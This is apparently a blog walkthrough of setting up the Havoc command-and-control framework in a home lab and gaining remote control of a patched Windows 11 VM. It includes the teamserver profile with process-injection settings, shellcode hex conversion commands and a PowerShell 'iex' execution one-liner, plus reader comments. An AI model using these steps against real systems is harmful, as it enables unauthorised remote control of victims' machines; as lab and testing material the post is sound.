I am following 5pider on Twitter, as I like his work and discovered his latest creation: Havoc Framwork. To describe it with his words – it is “a modern and malleable post-exploitation command and control framework“.
This immediately sparked my interest and as it was a rainy Sunday anyway, I could give it a try and test it.

Setup

- Havoc will be installed within Kali Linux – running on WSL2
- The victim client will be a fully patched Windows 11 client, inside a VMware Workstation VM – the payload will be triggered by a non-administrative user
Installation & Setup (on Kali)
Please keep in mind, this project is still in development, therefore the commands listed below might differ in the future and might not work anymore. Even during my setup I encountered steps, which didn’t working accordingly – as stated in the wiki.
Initially it is necessary to clone the repository:
git clone https://github.com/HavocFramework/Havoc.git
In order to run Havoc C2, some prerequisites have to be installed (as described in the wiki):
sudo apt install -y git build-essential apt-utils cmake libfontconfig1 libglu1-mesa-dev libgtest-dev libspdlog-dev libboost-all-dev libncurses5-dev libgdbm-dev libssl-dev libreadline-dev libffi-dev libsqlite3-dev libbz2-dev mesa-common-dev qtbase5-dev qtchooser qt5-qmake qtbase5-dev-tools libqt5websockets5 libqt5websockets5-dev qtdeclarative5-dev golang-go qtbase5-dev libqt5websockets5-dev libspdlog-dev python3-dev libboost-all-dev mingw-w64 nasm
Server
Before hosting a server instance, some additional Go dependencies have to be installed:
cd Havoc/Teamserver
go mod download golang.org/x/sys
go mod download github.com/ugorji/go
make
./teamserver -h
To host a server, a so called “profile” is necessary – I simply copied the template file within the “profiles“-directory and set my own username. The following options were set:
- Teamserver – defines the local address & port to listen on (0.0.0.0 – means all interfaces)
- Build – here your compilers are defined, in order to generate the payloads
- Operators – here it is possible to define your users, which are allowed to connect to the server
- Service – is for interacting with external services (e.g.: custom agents, ExternalC2, …)
- Demon – actual agent configuration, several options can be defined
- Sleep – interval in seconds, in between callbacks
- Injection – defines into which process we would like to inject the payload
- Other options are available as well, however not all configs (as stated in the wiki) worked accordingly. Some of them (not all though!) can later on be set within the GUI
Teamserver {
Host = "0.0.0.0"
Port = 40056
Build {
Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
Compiler86 = "/usr/bin/i686-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "thec0nci3rge" {
Password = "password1234"
}
}
Service {
Endpoint = "service-endpoint"
Password = "service-password"
}
Demon {
Sleep = 2
Injection {
Spawn64 = "C:\\Windows\\System32\\notepad.exe"
Spawn32 = "C:\\Windows\\SysWOW64\\notepad.exe"
}
}
Having the config ready, I think it is time to start the server:
./teamserver server --profile profiles/thec0nci3rge_havoc_profile.yaotl

Client
At this point, I think the wiki was already not fully up-to-date, as I tried to install the client following the instructions, which stated “Running Havoc.sh
will automatically build the Client and start it.“. However, there was no “Havoc.sh” within my “Client“-directory, so I simply run “./Build.sh” and eventually started the client successfully with “./Havoc“.
cd Havoc/Client
mkdir Build
cd Build
cmake ..
cd ..
./Build.sh
./Havoc
When starting the client, a modal window will appear – here the server IP & port have to be used and your login credentials (according to the profile).

Successful installation & login
If the installation & the authentication was successful – it should look like this:

Creating a payload – poc||gtfo
At the time of writing only “x64 EXE/DLL” formats are supported, which is fine by me – as I have a Windows 11 VM available to exploit.
In order to create a successful payload, a listener has to be setup first, which then will be selected during the payload generating process – so the agent knows where & how (protocol) to connect back to the C2.
Listener
To add a new listener, go to “View” -> “Listeners” -> “Add” (at the bottom of the window).

As for now, I didn’t care much about TLS/SSL, I simply used a HTTP based communication.
As the Windows 11 machine is running within VMware Workstation, the WSL2 interface IP address was needed, in order to talk to the server.
Choose a random high port number.
The “User Agent“-field was already prefill.
Clicking “Save” will open the “Listeners”-tab and list the newly created one:

Payload Preparation
To generate a new payload, click on “Attack” -> “Payload“
My previously created listener was already set automatically (if you have multiple ones – choose accordingly).
As I want to create a PowerShell payload, I chose “Windows Shellcode” instead of an executable.
The last thing to choose, was the “Sleep technique“. To be honest – I don’t have a single clue what the core differences are, so I just picked “Ekko” (according the wiki, “WaitForSingleObjectEx” has no obfuscation, therefore nothing we want)
Click “Generate” & select the directory to store the payload

As I am planning to use this payload inline within a PowerShell script, I had a look at it. A lot of gibberish (as expected), which is not copy-paste-able – therefore a hexadecimal representation is needed:
xxd -p sh3llc0de.bin | tr -d '\n' | sed 's/.\{2\}/0x&,/g' > sh3llc0de.payload
(don’t forget to remove the tailing comma “,” at the end of the payload – the “sed”-command is adding one too much)

One more information is needed – the payload length, to allocate the correct buffer size within the final payload. Later on, I noticed that this information can be seen within the “Payload“-window output as well (after hitting “Generate“).
cat sh3llc0de.payload | tr ',' ' ' | wc -w
Payload creation
As I was watching John Hammond‘s recent video, on how to compile C# code inline within a PowerShell script, I seized the moment to create a combination of both – a Havoc payload & this technique to execute it. Please watch the video yourself, as he explained it perfectly.
In general, I highly recommend watching/reading John’s content – both on YouTube & Twitter, especially when he is on no sleep and starts posting 😁
To execute my shellcode within C#, I used this archived snipped found on GitHub and adopted it accordingly – you can find a payload template in my GitHub repo.

Exploitation time
As mentioned above, I am planning to exploit a fully patched Windows 11 machine. So I simply copied the payload to a PowerShell file:

… and executed it, by piping the file content into the Invoke-Expression cmdlet:
cat -raw .\business_logic.ps1 | iex

This opened up a session & gave me remote control of the agent:

I run basic commands on the system and also used the built-in function of taking a screenshot:

For now – this was a success & there are many more useful features to use within Havoc C2 – however, this blog post is getting long already and my day is almost over. So this is something to explore in another post.
Video proof
Of course it is easy to claim it worked on a fully patched Windows 11 client and provide screenshots only. So I created a low privileged user account & executed the payload – here is a quick screen recording. Enjoy!
I hope you liked this write-up and it was somehow informative for you.
Any feedback is appreciated – thanks guys!
Interested and i can use for something big project🙂
LikeLike
Havoc🔥🔥
LikeLike
awesome post man, clear explanation very good
LikeLiked by 1 person